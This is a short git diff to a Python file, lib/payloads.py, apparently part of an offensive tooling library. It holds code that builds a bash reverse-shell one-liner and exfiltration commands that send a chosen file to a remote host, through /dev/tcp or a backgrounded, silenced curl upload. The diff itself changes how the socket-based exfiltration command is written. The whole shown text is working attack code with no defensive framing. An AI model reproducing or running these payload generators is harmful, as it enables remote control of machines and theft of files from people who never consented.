diff --git a/lib/payloads.py b/lib/payloads.py index a519a3f..ed7fceb 100644 --- a/lib/payloads.py +++ b/lib/payloads.py @@ -4,7 +4,7 @@ class Shells: return f"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 &" class Exfil: def socket(ip,port,file): - return f"cat {file} | /dev/tcp/{ip}/{port} &" + return f"cat {file} &> /dev/tcp/{ip}/{port} ;" def pflask(ip, port, file): return f"bash -c \\\"curl -F 'file=@{file}' http://{ip}:{port}/up &> /dev/null &\\\"; "